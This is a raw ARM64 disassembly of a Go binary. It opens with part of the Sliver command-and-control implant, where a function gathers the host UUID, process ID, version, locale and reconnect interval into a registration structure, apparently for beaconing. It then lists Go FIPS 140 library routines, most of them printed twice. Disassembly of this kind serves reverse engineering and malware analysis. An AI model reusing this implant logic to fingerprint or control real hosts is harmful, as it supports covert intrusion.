00511258movz x0, 5
0051125cstr x0, [sp+120]
00511260b 0x511264
00511264
00511264loc_511264:
00511264b 0x51126c
00511268
00511268loc_511268:
00511268b 0x51126c
0051126c
0051126cloc_51126c:
0051126cbl github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID
00511270str x0, [sp+80]
00511274str x1, [sp+88]
00511278stp xzr, xzr, [sp+504]
0051127cadd x0, sp, 504
00511280str x0, [sp+232]
00511284ldr x0, [sp+80]
00511288ldr x1, [sp+88]
0051128cbl runtime.convTstring
00511290str x0, [sp+224]
00511294ldr x1, [sp+232]
00511298ldrsb x27, [x1]
0051129cadrp x2, 0xe4000
005112a0add x2, x2, 2944
005112a4str x2, [x1]
005112a8adrp x27, 0x53a000
005112acldr w2, [x27+3056]
005112b0cbz w2, 0x5112b8
005112b4b 0x5112bc
005112b8
005112b8loc_5112b8:
005112b8b 0x5112d0
005112bc
005112bcloc_5112bc:
005112bcbl runtime.gcWriteBarrier2
005112c0str x0, [x25]
005112c4ldr x5, [x1+8]
005112c8str x5, [x25+8]
005112ccb 0x5112d0
005112d0
005112d0loc_5112d0:
005112d0str x0, [x1+8]
005112d4ldr x2, [sp+232]
005112d8ldrsb x27, [x2]
005112dcb 0x5112e0
005112e0
005112e0loc_5112e0:
005112e0str x2, [sp+256]
005112e4orr x4, xzr, 1
005112e8str x4, [sp+264]
005112ecstr x4, [sp+272]
005112f0adrp x0, 0x1a2000
005112f4add x0, x0, 1212
005112f8movz x1, 13
005112fcmov x3, x4
00511300bl log.Printf
00511304bl github.com/bishopfox/sliver/implant/sliver/version.GetVersion
00511308str x0, [sp+536]
0051130cstr x1, [sp+544]
00511310bl os.Getpid
00511314str x0, [sp+64]
00511318bl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
0051131cstr x0, [sp+56]
00511320bl github.com/bishopfox/sliver/implant/sliver/locale.GetLocale
00511324str x0, [sp+480]
00511328str x1, [sp+488]
0051132cadrp x0, 0x192000
00511330add x0, x0, 1248
00511334bl runtime.newobject
00511338str x0, [sp+216]
0051133cadrp x27, 0x53a000
00511340ldr w5, [x27+3056]
00511344cbz w5, 0x51134c
00511348b 0x511350
0051134c
0051134cloc_51134c:
0051134cb 0x51136c
00511350
00511350loc_511350:
00511350str x0, [sp+208]
00511354mov x1, x0
00511358adrp x0, 0x192000
0051135cadd x0, x0, 1248
00511360bl runtime.wbZero
00511364ldr x0, [sp+208]
00511368b 0x51136c
0051136c
0051136cloc_51136c:
0051136cmov x20, x0
00511370adr x27, 16
00511374stp x29, x27, [sp-24]
00511378sub x29, sp, 24
0051137cbl fn_87cc8
00511380sub x29, sp, 8
00511384ldr x1, [sp+216]
00511388ldrsb x27, [x1]
0051138cadrp x27, 0x4fc000
00511390ldr x2, [x27+2528]
00511394adrp x27, 0x4fc000
00511398ldr x3, [x27+2536]
0051139cstr x3, [x1+16]
005113a0adrp x27, 0x53a000
005113a4ldr w3, [x27+3056]
005113a8cbz w3, 0x5113b0
005113acb 0x5113b4
005113b0
005113b0loc_5113b0:
005113b0b 0x5113c8
005113b4
005113b4loc_5113b4:
005113b4bl runtime.gcWriteBarrier2
005113b8str x2, [x25]
005113bcldr x3, [x1+8]
005113c0str x3, [x25+8]
005113c4b 0x5113c8
005113c8
005113c8loc_5113c8:
005113c8str x2, [x1+8]
005113ccldr x1, [sp+216]
005113d0ldrsb x27, [x1]
005113d4ldr x2, [sp+96]
005113d8ldr x3, [sp+104]
005113dcstr x3, [x1+32]
005113e0adrp x27, 0x53a000
005113e4ldr w3, [x27+3056]
005113e8cbz w3, 0x5113f0
005113ecb 0x5113f4
005113f0
005113f0loc_5113f0:
005113f0b 0x511408
005113f4
005113f4loc_5113f4:
005113f4bl runtime.gcWriteBarrier2
005113f8str x2, [x25]
005113fcldr x3, [x1+24]
00511400str x3, [x25+8]
00511404b 0x511408
00511408
00511408loc_511408:
00511408str x2, [x1+24]
0051140cldr x1, [sp+216]
00511410ldrsb x27, [x1]
00511414ldr x2, [sp+80]
00511418ldr x3, [sp+88]
0051141cstr x3, [x1+48]
00511420adrp x27, 0x53a000
00511424ldr w3, [x27+3056]
00511428cbz w3, 0x511430
0051142cb 0x511434
00511430
00511430loc_511430:
00511430b 0x511448
00511434
00511434loc_511434:
00511434bl runtime.gcWriteBarrier2
00511438str x2, [x25]
0051143cldr x3, [x1+40]
00511440str x3, [x25+8]
00511444b 0x511448
00511448
00511448loc_511448:
00511448str x2, [x1+40]
0051144cldr x1, [sp+216]
00511450ldrsb x27, [x1]
00511454ldr x2, [sp+144]
00511458ldrsb x27, [x2]
0051145cldr x3, [x2+32]
00511460ldr x2, [x2+40]
00511464str x2, [x1+64]
00511468adrp x27, 0x53a000
0051146cldr w2, [x27+3056]
00511470cbz w2, 0x511478
00511474b 0x51147c
00511478
00511478loc_511478:
00511478b 0x511490
0051147c
0051147cloc_51147c:
0051147cbl runtime.gcWriteBarrier2
00511480str x3, [x25]
00511484ldr x2, [x1+56]
00511488str x2, [x25+8]
0051148cb 0x511490
00511490
00511490loc_511490:
00511490str x3, [x1+56]
00511494ldr x1, [sp+216]
00511498ldrsb x27, [x1]
0051149cldr x2, [sp+144]
005114a0ldrsb x27, [x2]
005114a4ldr x3, [x2]
005114a8ldr x2, [x2+8]
005114acstr x2, [x1+80]
005114b0adrp x27, 0x53a000
005114b4ldr w2, [x27+3056]
005114b8cbz w2, 0x5114c0
005114bcb 0x5114c4
005114c0
005114c0loc_5114c0:
005114c0b 0x5114d8
005114c4
005114c4loc_5114c4:
005114c4bl runtime.gcWriteBarrier2
005114c8str x3, [x25]
005114ccldr x2, [x1+72]
005114d0str x2, [x25+8]
005114d4b 0x5114d8
005114d8
005114d8loc_5114d8:
005114d8str x3, [x1+72]
005114dcldr x1, [sp+216]
005114e0ldrsb x27, [x1]
005114e4ldr x2, [sp+144]
005114e8ldrsb x27, [x2]
005114ecldr x3, [x2+16]
005114f0ldr x2, [x2+24]
005114f4str x2, [x1+96]
005114f8adrp x27, 0x53a000
005114fcldr w2, [x27+3056]
00511500cbz w2, 0x511508
00511504b 0x51150c
00511508
00511508loc_511508:
00511508b 0x511520
0051150c
0051150cloc_51150c:
0051150cbl runtime.gcWriteBarrier2
00511510str x3, [x25]
00511514ldr x2, [x1+88]
00511518str x2, [x25+8]
0051151cb 0x511520
00511520
00511520loc_511520:
00511520str x3, [x1+88]
00511524ldr x1, [sp+216]
00511528ldrsb x27, [x1]
0051152cmovz x2, 5
00511530str x2, [x1+112]
00511534adrp x27, 0x53a000
00511538ldr w3, [x27+3056]
0051153ccbz w3, 0x511544
00511540b 0x511548
00511544
00511544loc_511544:
00511544b 0x511558
00511548
00511548loc_511548:
00511548ldr x3, [x1+104]
0051154cbl runtime.gcWriteBarrier1
00511550str x3, [x25]
00511554b 0x511558
00511558
00511558loc_511558:
00511558adrp x3, 0x19f000
0051155cadd x3, x3, 1487
00511560str x3, [x1+104]
00511564ldr x1, [sp+216]
00511568ldrsb x27, [x1]
0051156cldr x3, [sp+536]
00511570ldr x4, [sp+544]
00511574str x4, [x1+184]
00511578adrp x27, 0x53a000
0051157cldr w4, [x27+3056]
00511580cbz w4, 0x511588
00511584b 0x51158c
00511588
00511588loc_511588:
00511588b 0x5115a0
0051158c
0051158cloc_51158c:
0051158cbl runtime.gcWriteBarrier2
00511590str x3, [x25]
00511594ldr x4, [x1+176]
00511598str x4, [x25+8]
0051159cb 0x5115a0
005115a0
005115a0loc_5115a0:
005115a0str x3, [x1+176]
005115a4ldr x1, [sp+216]
005115a8ldrsb x27, [x1]
005115acstr x2, [x1+128]
005115b0adrp x27, 0x53a000
005115b4ldr w2, [x27+3056]
005115b8cbz w2, 0x5115c0
005115bcb 0x5115c4
005115c0
005115c0loc_5115c0:
005115c0b 0x5115d4
005115c4
005115c4loc_5115c4:
005115c4ldr x2, [x1+120]
005115c8bl runtime.gcWriteBarrier1
005115ccstr x2, [x25]
005115d0b 0x5115d4
005115d4
005115d4loc_5115d4:
005115d4adrp x2, 0x19f000
005115d8add x2, x2, 1492
005115dcstr x2, [x1+120]
005115e0ldr x1, [sp+216]
005115e4ldrsb x27, [x1]
005115e8ldr x2, [sp+64]
005115ecstr w2, [x1+136]
005115f0ldr x1, [sp+216]
005115f4ldrsb x27, [x1]
005115f8ldr x2, [sp+112]
005115fcldr x3, [sp+120]
00511600str x3, [x1+152]
00511604adrp x27, 0x53a000
00511608ldr w3, [x27+3056]
0051160ccbz w3, 0x511614
00511610b 0x511618
00511614
00511614loc_511614:
00511614b 0x51162c
00511618
00511618loc_511618:
00511618bl runtime.gcWriteBarrier2
0051161cstr x2, [x25]
00511620ldr x3, [x1+144]
00511624str x3, [x25+8]
00511628b 0x51162c
0051162c
0051162cloc_51162c:
0051162cstr x2, [x1+144]
00511630ldr x1, [sp+216]
00511634ldrsb x27, [x1]
00511638ldr x2, [sp+56]
0051163cstr x2, [x1+192]
00511640ldr x1, [sp+216]
00511644ldrsb x27, [x1]
00511648movz x2, 36
0051164cstr x2, [x1+224]
00511650adrp x27, 0x53a000
00511654ldr w2, [x27+3056]
00511658cbz w2, 0x511660
0051165cb 0x511664
00511660
00511660loc_511660:
00511660b 0x511674
00511664
00511664loc_511664:
00511664ldr x2, [x1+216]
00511668bl runtime.gcWriteBarrier1
0051166cstr x2, [x25]
00511670b 0x511674
00511674
00511674loc_511674:
00511674adrp x2, 0x1b0000
00511678add x2, x2, 985
0051167cstr x2, [x1+216]
00511680ldr x1, [sp+216]
00511684ldrsb x27, [x1]
00511688adrp x27, 0x53a000
0051168cldr x2, [x27+2144]
00511690str x2, [x1+232]
00511694ldr x1, [sp+216]
00511698ldrsb x27, [x1]
0051169cldr x2, [sp+480]
005116a0ldr x3, [sp+488]
005116a4str x3, [x1+248]
005116a8adrp x27, 0x53a000
005116acldr w3, [x27+3056]
005116b0cbz w3, 0x5116b8
005116b4b 0x5116bc
005116b8
005116b8loc_5116b8:
005116b8b 0x5116d0
005116bc
005116bcloc_5116bc:
005116bcbl runtime.gcWriteBarrier2
005116c0str x2, [x25]
005116c4ldr x3, [x1+240]
005116c8str x3, [x25+8]
005116ccb 0x5116d0
005116d0
005116d0loc_5116d0:
005116d0str x2, [x1+240]
005116d4ldr x0, [sp+216]
005116d8str x0, [sp+72]
005116dcldp x29, x30, [sp-8]
005116e0add sp, sp, 576
005116e4ret x30
005116e8
005116e8loc_5116e8:
005116e8mov x0, xzr
005116ecbl runtime.panicIndex
005116f0hint
005116f4
005116f4loc_5116f4:
005116f4mov x3, x30
005116f8bl runtime.morestack_noctxt.abi0
005116fcb 0x510e20
00510e20
00511701
00511701 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
00511701 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
00511710
00511710crypto/internal/fips140.fatal: ; void crypto/internal/fips140.fatal(struct string s)
00511710ldr x16, [x28+16]
00511714subs xzr, sp, x16
00511718b.ls 0x51173c
0051171cstr x30, [sp-32]!
00511720stur x29, [sp-8]
00511724sub x29, sp, 8
00511728str x0, [sp+40]
0051172cbl runtime.fatal
00511730ldur x29, [sp-8]
00511734ldr x30, [sp], 32
00511738ret x30
0051173c
0051173cloc_51173c:
0051173cstp x0, x1, [sp+8]
00511740mov x3, x30
00511744bl runtime.morestack_noctxt.abi0
00511748ldp x0, x1, [sp+8]
0051174cb 0x511710
00511710
00511710crypto/internal/fips140.fatal: ; void crypto/internal/fips140.fatal(struct string s)
00511710ldr x16, [x28+16]
00511714subs xzr, sp, x16
00511718b.ls 0x51173c
0051171cstr x30, [sp-32]!
00511720stur x29, [sp-8]
00511724sub x29, sp, 8
00511728str x0, [sp+40]
0051172cbl runtime.fatal
00511730ldur x29, [sp-8]
00511734ldr x30, [sp], 32
00511738ret x30
0051173c
0051173cloc_51173c:
0051173cstp x0, x1, [sp+8]
00511740mov x3, x30
00511744bl runtime.morestack_noctxt.abi0
00511748ldp x0, x1, [sp+8]
0051174cb 0x511710
00511710
00511750
00511750crypto/internal/fips140.getIndicator: ; void crypto/internal/fips140.getIndicator(void)
00511750ldrb w0, [x28+224]
00511754ret x30
00511758udf 0
0051175cudf 0
00511750
00511750crypto/internal/fips140.getIndicator: ; void crypto/internal/fips140.getIndicator(void)
00511750ldrb w0, [x28+224]
00511754ret x30
00511758udf 0
0051175cudf 0
00511750
00511760
00511760crypto/internal/fips140.setIndicator: ; void crypto/internal/fips140.setIndicator(uint8 indicator)
00511760strb w0, [x28+224]
00511764ret x30
00511768udf 0
0051176cudf 0
00511760
00511760crypto/internal/fips140.setIndicator: ; void crypto/internal/fips140.setIndicator(uint8 indicator)
00511760strb w0, [x28+224]
00511764ret x30
00511768udf 0
0051176cudf 0
00511760
00511770
00511770crypto/internal/fips140.init: ; void crypto/internal/fips140.init(void)
00511770ldr x16, [x28+16]
00511774subs xzr, sp, x16
00511778b.ls 0x5117e0
0051177cstr x30, [sp-32]!
00511780stur x29, [sp-8]
00511784sub x29, sp, 8
00511788adrp x0, 0x1a2000
0051178cadd x0, x0, 2564
00511790movz x1, 13
00511794bl crypto/internal/fips140deps/godebug.Value
00511798adrp x27, 0x510000
0051179cstr x1, [x27+3752]
005117a0adrp x27, 0x53a000
005117a4ldr w2, [x27+3056]
005117a8cbz w2, 0x5117b0
005117acb 0x5117b4
005117b0
005117b0loc_5117b0:
005117b0b 0x5117cc
005117b4
005117b4loc_5117b4:
005117b4bl runtime.gcWriteBarrier2
005117b8str x0, [x25]
005117bcadrp x27, 0x510000
005117c0ldr x1, [x27+3744]
005117c4str x1, [x25+8]
005117c8b 0x5117cc
005117cc
005117ccloc_5117cc:
005117ccadrp x27, 0x510000
005117d0str x0, [x27+3744]
005117d4ldur x29, [sp-8]
005117d8ldr x30, [sp], 32
005117dcret x30
005117e0
005117e0loc_5117e0:
005117e0mov x3, x30
005117e4bl runtime.morestack_noctxt.abi0
005117e8b 0x511770
005117ecudf 0
00511770
00511770crypto/internal/fips140.init: ; void crypto/internal/fips140.init(void)
00511770ldr x16, [x28+16]
00511774subs xzr, sp, x16
00511778b.ls 0x5117e0
0051177cstr x30, [sp-32]!
00511780stur x29, [sp-8]
00511784sub x29, sp, 8
00511788adrp x0, 0x1a2000
0051178cadd x0, x0, 2564
00511790movz x1, 13
00511794bl crypto/internal/fips140deps/godebug.Value
00511798adrp x27, 0x510000
0051179cstr x1, [x27+3752]
005117a0adrp x27, 0x53a000
005117a4ldr w2, [x27+3056]
005117a8cbz w2, 0x5117b0
005117acb 0x5117b4
005117b0
005117b0loc_5117b0:
005117b0b 0x5117cc
005117b4
005117b4loc_5117b4:
005117b4bl runtime.gcWriteBarrier2
005117b8str x0, [x25]
005117bcadrp x27, 0x510000
005117c0ldr x1, [x27+3744]
005117c4str x1, [x25+8]
005117c8b 0x5117cc
005117cc
005117ccloc_5117cc:
005117ccadrp x27, 0x510000
005117d0str x0, [x27+3744]
005117d4ldur x29, [sp-8]
005117d8ldr x30, [sp], 32
005117dcret x30
005117e0
005117e0loc_5117e0:
005117e0mov x3, x30
005117e4bl runtime.morestack_noctxt.abi0
005117e8b 0x511770
005117ecudf 0
00511770
005117f0
005117f0crypto/internal/fips140.CAST: ; void crypto/internal/fips140.CAST(struct string name, func() error f)
005117f0ldr x16, [x28+16]
005117f4sub x17, sp, 48
005117f8subs xzr, x17, x16
005117fcb.ls 0x5119d8
00511800str x30, [sp-176]!
00511804stur x29, [sp-8]
00511808sub x29, sp, 8
0051180cstr x0, [sp+184]
00511810str x1, [sp+192]
00511814str x2, [sp+200]
00511818adrp x2, 0x19f000
0051181cadd x2, x2, 1294
00511820orr x3, xzr, 4
00511824bl strings.ContainsAny
00511828strb w0, [sp+87]
0051182ctbnz w0, 0, 0x511998
00511830b 0x511834
00511834
00511834loc_511834:
00511834adrp x27, 0x53a000
00511838ldrb w0, [x27+1548]
0051183ctbnz w0, 0, 0x511844
00511840b 0x511908
00511844
00511844loc_511844:
00511844ldr x26, [sp+200]
00511848ldr x0, [x26]
0051184cblr x0
00511850str x0, [sp+88]
00511854str x1, [sp+96]
00511858ldr x0, [sp+192]
0051185cadrp x27, 0x510000
00511860ldr x1, [x27+3752]
00511864subs xzr, x1, x0
00511868b.eq 0x511870
0051186cb 0x5118ac
00511870
00511870loc_511870:
00511870ldr x0, [sp+184]
00511874adrp x27, 0x510000
00511878ldr x1, [x27+3744]
0051187cldr x2, [sp+192]
00511880bl runtime.memequal
00511884tbnz w0, 0, 0x51188c
00511888b 0x5118a8
0051188c
0051188cloc_51188c:
0051188cadrp x0, 0x1a7000
00511890add x0, x0, 0
00511894movz x1, 22
00511898bl errors.New
0051189cstr x0, [sp+88]
005118a0str x1, [sp+96]
005118a4b 0x5118b0
005118a8
005118a8loc_5118a8:
005118a8b 0x5118b0
005118ac
005118acloc_5118ac:
005118acb 0x5118b0
005118b0
005118b0loc_5118b0:
005118b0ldr x1, [sp+88]
005118b4cbnz x1, 0x511914
005118b8b 0x5118bc
005118bc
005118bcloc_5118bc:
005118bcadrp x27, 0x53a000
005118c0ldrb w0, [x27+1549]
005118c4tbnz w0, 0, 0x5118cc
005118c8b 0x5118f8
005118cc
005118ccloc_5118cc:
005118ccbl runtime.printlock
005118d0adrp x0, 0x1ab000
005118d4add x0, x0, 2802
005118d8movz x1, 29
005118dcbl runtime.printstring
005118e0ldr x0, [sp+184]
005118e4ldr x1, [sp+192]
005118e8bl runtime.printstring
005118ecbl runtime.printnl
005118f0bl runtime.printunlock
005118f4b 0x5118fc
005118f8
005118f8loc_5118f8:
005118f8b 0x5118fc
005118fc
005118fcloc_5118fc:
005118fcldur x29, [sp-8]
00511900ldr x30, [sp], 176
00511904ret x30
00511908
00511908loc_511908:
00511908ldur x29, [sp-8]
0051190cldr x30, [sp], 176
00511910ret x30
00511914
00511914loc_511914:
00511914ldr x1, [sp+88]
00511918ldrsb x27, [x1]
0051191cldr x1, [x1+24]
00511920ldr x0, [sp+96]
00511924blr x1
00511928str x0, [sp+152]
0051192cstr x1, [sp+160]
00511930ldr x4, [sp+192]
00511934ldr x3, [sp+184]
00511938movz x2, 29
0051193cadrp x5, 0x19e000
00511940add x5, x5, 4041
00511944orr x6, xzr, 2
00511948mov x7, x0
0051194cmov x8, x1
00511950mov x0, xzr
00511954adrp x1, 0x1ab000
00511958add x1, x1, 2773
0051195cbl runtime.concatstring4
00511960str x0, [sp+112]
00511964str x1, [sp+120]
00511968bl crypto/internal/fips140.fatal
0051196cadrp x0, 0x1a1000
00511970add x0, x0, 1757
00511974str x0, [sp+152]
00511978movz x1, 11
0051197cstr x1, [sp+160]
00511980bl runtime.convTstring
00511984str x0, [sp+104]
00511988mov x1, x0
0051198cadrp x0, 0xe4000
00511990add x0, x0, 2944
00511994bl runtime.gopanic
00511998
00511998loc_511998:
00511998ldr x3, [sp+184]
0051199cldr x4, [sp+192]
005119a0mov x0, xzr
005119a4adrp x1, 0x1ac000
005119a8add x1, x1, 1492
005119acorr x2, xzr, 30
005119b0bl runtime.concatstring2
005119b4str x0, [sp+136]
005119b8str x1, [sp+144]
005119bcbl runtime.convTstring
005119c0str x0, [sp+128]
005119c4mov x1, x0
005119c8adrp x0, 0xe4000
005119ccadd x0, x0, 2944
005119d0bl runtime.gopanic
005119d4hint
005119d8
005119d8loc_5119d8:
005119d8stp x0, x1, [sp+8]
005119dcstr x2, [sp+24]
005119e0mov x3, x30
005119e4bl runtime.morestack_noctxt.abi0
005119e8ldp x0, x1, [sp+8]
005119ecldr x2, [sp+24]
005119f0b 0x5117f0
005119f4udf 0
005119f8udf 0
005119fcudf 0
005117f0
005117f0crypto/internal/fips140.CAST: ; void crypto/internal/fips140.CAST(struct string name, func() error f)
005117f0ldr x16, [x28+16]
005117f4sub x17, sp, 48
005117f8subs xzr, x17, x16
005117fcb.ls 0x5119d8
00511800str x30, [sp-176]!
00511804stur x29, [sp-8]
00511808sub x29, sp, 8
0051180cstr x0, [sp+184]
00511810str x1, [sp+192]
00511814str x2, [sp+200]
00511818adrp x2, 0x19f000
0051181cadd x2, x2, 1294
00511820orr x3, xzr, 4
00511824bl strings.ContainsAny
00511828strb w0, [sp+87]
0051182ctbnz w0, 0, 0x511998
00511830b 0x511834
00511834
00511834loc_511834:
00511834adrp x27, 0x53a000
00511838ldrb w0, [x27+1548]
0051183ctbnz w0, 0, 0x511844
00511840b 0x511908
00511844
00511844loc_511844:
00511844ldr x26, [sp+200]
00511848ldr x0, [x26]
0051184cblr x0
00511850str x0, [sp+88]
00511854str x1, [sp+96]
00511858ldr x0, [sp+192]
0051185cadrp x27, 0x510000
00511860ldr x1, [x27+3752]
00511864subs xzr, x1, x0
00511868b.eq 0x511870
0051186cb 0x5118ac
00511870
00511870loc_511870:
00511870ldr x0, [sp+184]
00511874adrp x27, 0x510000
00511878ldr x1, [x27+3744]
0051187cldr x2, [sp+192]
00511880bl runtime.memequal
00511884tbnz w0, 0, 0x51188c
00511888b 0x5118a8
0051188c
0051188cloc_51188c:
0051188cadrp x0, 0x1a7000
00511890add x0, x0, 0
00511894movz x1, 22
00511898bl errors.New
0051189cstr x0, [sp+88]
005118a0str x1, [sp+96]
005118a4b 0x5118b0
005118a8
005118a8loc_5118a8:
005118a8b 0x5118b0
005118ac
005118acloc_5118ac:
005118acb 0x5118b0
005118b0
005118b0loc_5118b0:
005118b0ldr x1, [sp+88]
005118b4cbnz x1, 0x511914
005118b8b 0x5118bc
005118bc
005118bcloc_5118bc:
005118bcadrp x27, 0x53a000
005118c0ldrb w0, [x27+1549]
005118c4tbnz w0, 0, 0x5118cc
005118c8b 0x5118f8
005118cc
005118ccloc_5118cc:
005118ccbl runtime.printlock
005118d0adrp x0, 0x1ab000
005118d4add x0, x0, 2802
005118d8movz x1, 29
005118dcbl runtime.printstring
005118e0ldr x0, [sp+184]
005118e4ldr x1, [sp+192]
005118e8bl runtime.printstring
005118ecbl runtime.printnl
005118f0bl runtime.printunlock
005118f4b 0x5118fc
005118f8
005118f8loc_5118f8:
005118f8b 0x5118fc
005118fc
005118fcloc_5118fc:
005118fcldur x29, [sp-8]
00511900ldr x30, [sp], 176
00511904ret x30
00511908
00511908loc_511908:
00511908ldur x29, [sp-8]
0051190cldr x30, [sp], 176
00511910ret x30
00511914
00511914loc_511914:
00511914ldr x1, [sp+88]
00511918ldrsb x27, [x1]
0051191cldr x1, [x1+24]
00511920ldr x0, [sp+96]
00511924blr x1
00511928str x0, [sp+152]
0051192cstr x1, [sp+160]
00511930ldr x4, [sp+192]
00511934ldr x3, [sp+184]
00511938movz x2, 29
0051193cadrp x5, 0x19e000
00511940add x5, x5, 4041
00511944orr x6, xzr, 2
00511948mov x7, x0
0051194cmov x8, x1
00511950mov x0, xzr
00511954adrp x1, 0x1ab000
00511958add x1, x1, 2773
0051195cbl runtime.concatstring4
00511960str x0, [sp+112]
00511964str x1, [sp+120]
00511968bl crypto/internal/fips140.fatal
0051196cadrp x0, 0x1a1000
00511970add x0, x0, 1757
00511974str x0, [sp+152]
00511978movz x1, 11
0051197cstr x1, [sp+160]
00511980bl runtime.convTstring
00511984str x0, [sp+104]
00511988mov x1, x0
0051198cadrp x0, 0xe4000
00511990add x0, x0, 2944
00511994bl runtime.gopanic
00511998
00511998loc_511998:
00511998ldr x3, [sp+184]
0051199cldr x4, [sp+192]
005119a0mov x0, xzr
005119a4adrp x1, 0x1ac000
005119a8add x1, x1, 1492
005119acorr x2, xzr, 30
005119b0bl runtime.concatstring2
005119b4str x0, [sp+136]
005119b8str x1, [sp+144]
005119bcbl runtime.convTstring
005119c0str x0, [sp+128]
005119c4mov x1, x0
005119c8adrp x0, 0xe4000
005119ccadd x0, x0, 2944
005119d0bl runtime.gopanic
005119d4hint
005119d8
005119d8loc_5119d8:
005119d8stp x0, x1, [sp+8]
005119dcstr x2, [sp+24]
005119e0mov x3, x30
005119e4bl runtime.morestack_noctxt.abi0
005119e8ldp x0, x1, [sp+8]
005119ecldr x2, [sp+24]
005119f0b 0x5117f0
005119f4udf 0
005119f8udf 0
005119fcudf 0
005117f0
00511a00
00511a00crypto/internal/fips140.PCT: ; void crypto/internal/fips140.PCT(struct string name, func() error f)
00511a00ldr x16, [x28+16]
00511a04subs xzr, sp, x16
00511a08b.ls 0x511b3c
00511a0cstr x30, [sp-128]!
00511a10stur x29, [sp-8]
00511a14sub x29, sp, 8
00511a18str x0, [sp+136]
00511a1cstr x1, [sp+144]
00511a20str x2, [sp+152]
00511a24stp xzr, xzr, [sp+64]
00511a28ldr x0, [sp+136]
00511a2cldr x1, [sp+144]
00511a30adrp x2, 0x19f000
00511a34add x2, x2, 1294
00511a38orr x3, xzr, 4
00511a3cbl strings.ContainsAny
00511a40strb w0, [sp+63]
00511a44tbnz w0, 0, 0x511afc
00511a48b 0x511a4c
00511a4c
00511a4cloc_511a4c:
00511a4cadrp x27, 0x53a000
00511a50ldrb w2, [x27+1548]
00511a54tbnz w2, 0, 0x511a5c
00511a58b 0x511ae4
00511a5c
00511a5cloc_511a5c:
00511a5cldr x26, [sp+152]
00511a60ldr x0, [x26]
00511a64blr x0
00511a68str x0, [sp+80]
00511a6cstr x1, [sp+88]
00511a70ldr x0, [sp+144]
00511a74adrp x27, 0x510000
00511a78ldr x1, [x27+3752]
00511a7csubs xzr, x1, x0
00511a80b.eq 0x511a88
00511a84b 0x511ac4
00511a88
00511a88loc_511a88:
00511a88ldr x0, [sp+136]
00511a8cadrp x27, 0x510000
00511a90ldr x1, [x27+3744]
00511a94ldr x2, [sp+144]
00511a98bl runtime.memequal
00511a9ctbnz w0, 0, 0x511aa4
00511aa0b 0x511ac0
00511aa4
00511aa4loc_511aa4:
00511aa4adrp x0, 0x1a6000
00511aa8add x0, x0, 1803
00511aacmovz x1, 21
00511ab0bl errors.New
00511ab4str x0, [sp+80]
00511ab8str x1, [sp+88]
00511abcb 0x511ac8
00511ac0
00511ac0loc_511ac0:
00511ac0b 0x511ac8
00511ac4
00511ac4loc_511ac4:
00511ac4b 0x511ac8
00511ac8
00511ac8loc_511ac8:
00511ac8ldr x0, [sp+80]
00511accldr x1, [sp+88]
00511ad0str x0, [sp+64]
00511ad4str x1, [sp+72]
00511ad8ldur x29, [sp-8]
00511adcldr x30, [sp], 128
00511ae0ret x30
00511ae4
00511ae4loc_511ae4:
00511ae4stp xzr, xzr, [sp+64]
00511ae8mov x0, xzr
00511aecmov x1, xzr
00511af0ldur x29, [sp-8]
00511af4ldr x30, [sp], 128
00511af8ret x30
00511afc
00511afcloc_511afc:
00511afcldr x3, [sp+136]
00511b00ldr x4, [sp+144]
00511b04mov x0, xzr
00511b08adrp x1, 0x1ac000
00511b0cadd x1, x1, 1492
00511b10orr x2, xzr, 30
00511b14bl runtime.concatstring2
00511b18str x0, [sp+104]
00511b1cstr x1, [sp+112]
00511b20bl runtime.convTstring
00511b24str x0, [sp+96]
00511b28mov x1, x0
00511b2cadrp x0, 0xe4000
00511b30add x0, x0, 2944
00511b34bl runtime.gopanic
00511b38hint
00511b3c
00511b3cloc_511b3c:
00511b3cstp x0, x1, [sp+8]
00511b40str x2, [sp+24]
00511b44mov x3, x30
00511b48bl runtime.morestack_noctxt.abi0
00511b4cldp x0, x1, [sp+8]
00511b50ldr x2, [sp+24]
00511b54b 0x511a00
00511b58udf 0
00511b5cudf 0
00511a00
00511a00crypto/internal/fips140.PCT: ; void crypto/internal/fips140.PCT(struct string name, func() error f)
00511a00ldr x16, [x28+16]
00511a04subs xzr, sp, x16
00511a08b.ls 0x511b3c
00511a0cstr x30, [sp-128]!
00511a10stur x29, [sp-8]
00511a14sub x29, sp, 8
00511a18str x0, [sp+136]
00511a1cstr x1, [sp+144]
00511a20str x2, [sp+152]
00511a24stp xzr, xzr, [sp+64]
00511a28ldr x0, [sp+136]
00511a2cldr x1, [sp+144]
00511a30adrp x2, 0x19f000
00511a34add x2, x2, 1294
00511a38orr x3, xzr, 4
00511a3cbl strings.ContainsAny
00511a40strb w0, [sp+63]
00511a44tbnz w0, 0, 0x511afc
00511a48b 0x511a4c
00511a4c
00511a4cloc_511a4c:
00511a4cadrp x27, 0x53a000
00511a50ldrb w2, [x27+1548]
00511a54tbnz w2, 0, 0x511a5c
00511a58b 0x511ae4
00511a5c
00511a5cloc_511a5c:
00511a5cldr x26, [sp+152]
00511a60ldr x0, [x26]
00511a64blr x0
00511a68str x0, [sp+80]
00511a6cstr x1, [sp+88]
00511a70ldr x0, [sp+144]
00511a74adrp x27, 0x510000
00511a78ldr x1, [x27+3752]
00511a7csubs xzr, x1, x0
00511a80b.eq 0x511a88
00511a84b 0x511ac4
00511a88
00511a88loc_511a88:
00511a88ldr x0, [sp+136]
00511a8cadrp x27, 0x510000
00511a90ldr x1, [x27+3744]
00511a94ldr x2, [sp+144]
00511a98bl runtime.memequal
00511a9ctbnz w0, 0, 0x511aa4
00511aa0b 0x511ac0
00511aa4
00511aa4loc_511aa4:
00511aa4adrp x0, 0x1a6000
00511aa8add x0, x0, 1803
00511aacmovz x1, 21
00511ab0bl errors.New
00511ab4str x0, [sp+80]
00511ab8str x1, [sp+88]
00511abcb 0x511ac8
00511ac0
00511ac0loc_511ac0:
00511ac0b 0x511ac8
00511ac4
00511ac4loc_511ac4:
00511ac4b 0x511ac8
00511ac8
00511ac8loc_511ac8:
00511ac8ldr x0, [sp+80]
00511accldr x1, [sp+88]
00511ad0str x0, [sp+64]
00511ad4str x1, [sp+72]
00511ad8ldur x29, [sp-8]
00511adcldr x30, [sp], 128
00511ae0ret x30
00511ae4
00511ae4loc_511ae4:
00511ae4stp xzr, xzr, [sp+64]
00511ae8mov x0, xzr
00511aecmov x1, xzr
00511af0ldur x29, [sp-8]
00511af4ldr x30, [sp], 128
00511af8ret x30
00511afc
